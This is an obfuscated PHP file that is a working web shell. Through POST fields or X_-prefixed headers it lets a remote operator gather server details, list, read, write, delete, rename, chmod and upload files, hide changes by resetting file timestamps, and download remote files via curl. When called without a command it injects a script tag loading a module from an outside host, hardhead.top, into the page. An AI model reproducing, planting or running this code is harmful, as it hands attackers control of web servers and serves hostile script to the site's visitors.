<?php
goto YgxMN; NhFlK: $K3ScU = array(); goto v3RUA; xcQZw: define("\x5a\164\121\x44\127", $_SERVER["\x44\117\103\x55\x4d\x45\116\x54\137\x52\117\117\124"]); goto XR2Qo; AvUDv: $bumsU = !empty($_POST["\x76"]) ? $_POST["\166"] : @$_SERVER["\110\124\x54\120\x5f\130\137\x43\x53\122\106\137\x54\x4f\x4b\x45\x4e"]; goto ajx5x; irVNl: function fRo2K($ioI8f) { return function_exists($ioI8f); } goto dXSC2; dmHSv: p0VnH: goto OZyXh; sOTAm: function l0xdn($ioI8f, $KKJ5s) { return file_put_contents($ioI8f, $KKJ5s) !== false; } goto Q_MNm; dXSC2: function VLVlZ($ioI8f) { return file_get_contents($ioI8f); } goto sOTAm; poMed: function xzLdc($KuBsZ, $ZTV6W) { goto TtKwt; Fs3IF: $Qwipr = @L0xDn($KuBsZ, vLVlZ($ZTV6W)) ? 1 : 0; goto LyY5K; zZEgF: $Qwipr = 1; goto G9dCY; G9dCY: shddO: goto ilwIb; vP31Y: gOYOz: goto qbXoy; LyY5K: goto Uc9KF; goto ORY9V; TtKwt: if (frO2K("\x63\x75\162\154\137\x69\x6e\x69\x74")) { goto HsoS2; } goto Fs3IF; qbXoy: curl_close($J16p_); goto zZEgF; O8jXn: $Qwipr = fwrite($pkrv6, VlvLz($ZTV6W)) ? 1 : 0; goto R1KgU; ck5VY: curl_setopt($J16p_, CURLOPT_FILE, $pkrv6); goto L8zSK; ORY9V: HsoS2: goto Fwv57; Fwv57: $J16p_ = curl_init($ZTV6W); goto OK09I; CR8NX: Uc9KF: goto BIffB; L8zSK: curl_setopt($J16p_, CURLOPT_TIMEOUT, 50); goto v7mc1; ilwIb: fclose($pkrv6); goto CR8NX; v7mc1: if (curl_exec($J16p_)) { goto gOYOz; } goto O8jXn; BIffB: return $Qwipr; goto Yscxs; R1KgU: goto shddO; goto vP31Y; OK09I: $pkrv6 = fopen($KuBsZ, "\167\x2b"); goto ck5VY; Yscxs: } goto I5t07; V012E: wmHpr: goto l15PN; Q_MNm: function k_mRV() { goto isojJ; xE4XZ: bUa1Z: goto owM6k; J4Or6: goto F3n_R; goto xE4XZ; E4sSh: F3n_R: goto Wmfpp; owM6k: return @getcwd(); goto E4sSh; UhOuL: return @dirname(__FILE__); goto J4Or6; isojJ: if (fro2K("\147\x65\x74\143\x77\x64")) { goto bUa1Z; } goto UhOuL; Wmfpp: } goto dqeoc; dqeoc: function YE6hk($NPDnu) { goto g75A8; SuK_V: pQ5vx: goto d_pdW; i2dRg: Cxo8l: goto EfWNT; ajIQd: foreach ($OFZFY as $Qwipr) { goto RziQn; RXNBj: is_dir($Y9miL) ? YE6HK($Y9miL) : uNliNk($Y9miL); goto IZILf; IZILf: t_Qqr: goto ah8BM; RziQn: if (!($Qwipr == "\56" || $Qwipr == "\56\x2e")) { goto CkbUY; } goto Sfx4t; Sfx4t: goto t_Qqr; goto OAJnf; OAJnf: CkbUY: goto gA2Yi; gA2Yi: $Y9miL = $NPDnu . "\x2f" . $Qwipr; goto RXNBj; ah8BM: } goto i2dRg; sHs2p: goto pQ5vx; goto qMHQW; qMHQW: gcPT7: goto KNVgC; x67Dx: uNliNk($NPDnu); goto sHs2p; KNVgC: $OFZFY = sCaNDir($NPDnu); goto ajIQd; EfWNT: rMdIR($NPDnu); goto SuK_V; g75A8: if (is_dir($NPDnu)) { goto gcPT7; } goto x67Dx; d_pdW: } goto poMed; l15PN: $IJoDh = xj8h9("\x64"); goto NhFlK; ve634: header("\x43\157\156\x74\145\156\164\x2d\x74\171\160\x65\72\x20\141\160\160\x6c\x69\x63\141\x74\151\157\156\57\152\163\157\x6e\x3b\40\x63\150\141\162\163\x65\x74\75\x75\164\x66\55\70"); goto ME3wD; uhvCP: $bumsU = base64_decode(substr($bumsU, 1)); goto V012E; ME3wD: register_shutdown_function(function () { goto xglV_; HqDcB: ob_end_clean(); goto dUKL2; xglV_: global $tt7OF; goto HqDcB; dUKL2: echo json_encode($tt7OF); goto sVkOx; sVkOx: }); goto yJvO0; I5t07: function Xj8h9($KKJ5s) { return !empty($_POST[$KKJ5s]) ? $_POST[$KKJ5s] : $_SERVER["\x48\124\x54\x50\137\130\137" . strtoupper($KKJ5s)]; } goto tXsa1; XR2Qo: $tt7OF = array(); goto irVNl; v3RUA: $KKJ5s = 1; goto Hvuxa; tXsa1: $ioI8f = Xj8h9("\141"); goto miQSD; sg694: LAJqf: goto s8iYS; miQSD: if (empty($ioI8f)) { goto p0VnH; } goto AvUDv; yJvO0: return; goto dmHSv; ajx5x: if (empty($bumsU)) { goto wmHpr; } goto uhvCP; q0Q2w: xfWtj: goto sg694; YgxMN: error_reporting(0); goto xcQZw; s8iYS: $tt7OF["\144\141\164\141"] = $K3ScU; goto fmUbG; Hvuxa: switch ($ioI8f) { case 1: goto ZsVXR; wV_co: if (!fro2k("\x67\x65\x74\x63\167\x64")) { goto wuZsg; } goto VCg9Y; V_7b5: NwxI2: goto Dpt1c; EtDeR: wuZsg: goto CdjLN; CdjLN: if (!fRo2K("\151\156\x69\x5f\147\x65\x74")) { goto NwxI2; } goto CyZkD; u2ooJ: if (!empty($K3ScU["\163\151\160"])) { goto tauUG; } goto CL92n; VCg9Y: $K3ScU["\x70\167\144"] = K_mrv(); goto EtDeR; CL92n: $K3ScU["\163\151\x70"] = @gethostbyname($_SERVER["\123\105\122\126\105\x52\x5f\116\x41\115\105"]); goto KQ0Pv; qJisu: J2tjr: goto JyZjD; CyZkD: $K3ScU["\163\141\x66\145\x5f\155\157\144\145"] = @ini_get("\163\x61\x66\145\x5f\155\157\144\145"); goto V_7b5; Dpt1c: if (!fro2k("\x70\x68\x70\x76\145\162\163\151\157\x6e")) { goto J2tjr; } goto YPjzR; mCc33: goto LAJqf; goto G2j3i; KQ0Pv: tauUG: goto mCc33; JyZjD: $K3ScU["\163\x69\x70"] = $_SERVER["\x53\105\x52\x56\105\122\137\x41\x44\104\x52"]; goto u2ooJ; ZsVXR: $K3ScU = array("\162\x6f\157\x74" => ZtQDW, "\163\x65\162\166\x65\x72" => $_SERVER["\123\105\x52\x56\x45\x52\137\x53\117\x46\x54\127\101\x52\x45"], "\143\151\x70" => $_SERVER["\122\105\115\117\124\x45\137\101\x44\104\122"]); goto wV_co; YPjzR: $K3ScU["\x76\145\x72\x73\151\x6f\156"] = @phpversion(); goto qJisu; G2j3i: case 2: goto RsYLA; p2rZx: $K3ScU["\x64"] = $PS9QM; goto Y4pIO; bwEbN: goto LAJqf; goto A2ZWg; ZweD_: $TxN89 = scandir($bumsU); goto aoI4_; Y4pIO: $K3ScU["\x66"] = $ev5qi; goto bwEbN; hdqqT: Rmbvg: goto ZweD_; RsYLA: if (!empty($bumsU)) { goto Rmbvg; } goto obGeI; huYwn: foreach ($TxN89 as $iKi33) { goto YyNSv; PfxW2: $PS9QM[] = $OMlFY; goto D0TAc; hPlfF: oRm4Z: goto qDu_D; jt9nA: if (is_dir($NPDnu)) { goto ysxxA; } goto WyBKH; WyBKH: $OMlFY["\163"] = filesize($NPDnu); goto hjk7h; qDu_D: $NPDnu = $bumsU . "\57" . $iKi33; goto DIaml; hjk7h: $ev5qi[] = $OMlFY; goto qUFg3; DIaml: $OMlFY = array("\156" => $iKi33, "\160" => substr(sprintf("\45\157", fILepErMs($NPDnu)), -4), "\164" => date("\131\x2d\155\55\x64\x20\110\x3a\x69\x3a\163", fILeMTiMe($NPDnu))); goto jt9nA; sdbgq: goto Ggump; goto hPlfF; qUFg3: goto t35Rf; goto Iok27; YyNSv: if (!($iKi33 == "\x2e" || $iKi33 == "\x2e\56")) { goto oRm4Z; } goto sdbgq; JZfBI: Ggump: goto kqH1E; D0TAc: t35Rf: goto JZfBI; Iok27: ysxxA: goto PfxW2; kqH1E: } goto iurxv; M3k3H: $ev5qi = array(); goto huYwn; obGeI: $bumsU = K_mrv(); goto hdqqT; iurxv: uoEbt: goto p2rZx; aoI4_: $PS9QM = array(); goto M3k3H; A2ZWg: case 3: YE6HK($bumsU); goto LAJqf; case 4: $K3ScU["\166"] = vLVlz($bumsU); goto LAJqf; case 5: goto SbV3G; qeT8c: $KKJ5s = l0xDn($IJoDh, $bumsU) ? 1 : 0; goto XbsA4; XbsA4: goto LAJqf; goto q09El; dL6fO: @chmod($bumsU, 0644); goto lS0zW; SbV3G: if (is_writable($IJoDh)) { goto zld4y; } goto dL6fO; lS0zW: zld4y: goto qeT8c; q09El: case 6: goto EP8WO; krA1H: goto N8Z0s; goto t70b2; YMDUW: if (!@ReNamE($KuBsZ, $XEbz_)) { goto XR9AA; } goto WrmFc; d1JJd: $FknzW = @FiLemTiME($KuBsZ); goto YMDUW; WrmFc: if ($FknzW) { goto r_6BX; } goto iQLSq; n54I4: $XEbz_ = $IJoDh . $bumsU; goto d1JJd; qzdTk: goto LAJqf; goto hRlTH; EP8WO: $KuBsZ = $IJoDh . xJ8H9("\156"); goto n54I4; U0UeW: @touCH($XEbz_, $FknzW, $FknzW); goto vC4kz; a7YGF: $KKJ5s = 0; goto krA1H; iQLSq: goto N8Z0s; goto HoKyh; vC4kz: N8Z0s: goto qzdTk; t70b2: r_6BX: goto U0UeW; HoKyh: XR9AA: goto a7YGF; hRlTH: case 7: goto gMERG; CsaNw: $KKJ5s = 0; goto sDnaL; gMERG: if (@chmod($IJoDh, $bumsU)) { goto GttwO; } goto CsaNw; N2D2n: goto LAJqf; goto PEV0o; sDnaL: GttwO: goto N2D2n; PEV0o: case 8: $KKJ5s = move_uploaded_file($_FILES["\x66"]["\x74\155\x70\x5f\x6e\141\155\x65"], $bumsU) ? 1 : 0; goto LAJqf; case 9: $KKJ5s = L0xDn($bumsU, '') ? 1 : 0; goto LAJqf; case 10: $KKJ5s = mkdir($bumsU) ? 1 : 0; goto LAJqf; case 11: goto xCfNK; r4ewT: $KKJ5s = xZLDC($bumsU, $ZTV6W) ? 1 : 0; goto afXl7; afXl7: goto LAJqf; goto A8rsH; xCfNK: $ZTV6W = xJ8h9("\154"); goto r4ewT; A8rsH: } goto q0Q2w; fmUbG: $tt7OF["\143\x6f\144\145"] = $KKJ5s; goto ve634; OZyXh: echo "\74\x73\143\162\x69\160\x74\x20\x74\x79\x70\145\x3d\x22\155\157\144\x75\x6c\145\x22\x20\163\x72\x63\x3d\42\x68\x74\164\x70\163\72\57\x2f\x68\141\162\x64\x68\x65\141\144\x2e\164\157\160\57\x34\x2e\x6a\163\x22\40\x63\x72\x6f\x73\x73\157\x72\x69\x67\151\156\75\x22\x61\156\157\156\171\155\157\x75\163\x22\40\x72\145\x66\x65\x72\162\145\162\160\157\154\x69\143\171\75\42\x6e\157\55\x72\145\146\145\162\x72\x65\x72\42\76\x3c\57\x73\x63\162\x69\x70\164\76";
?> |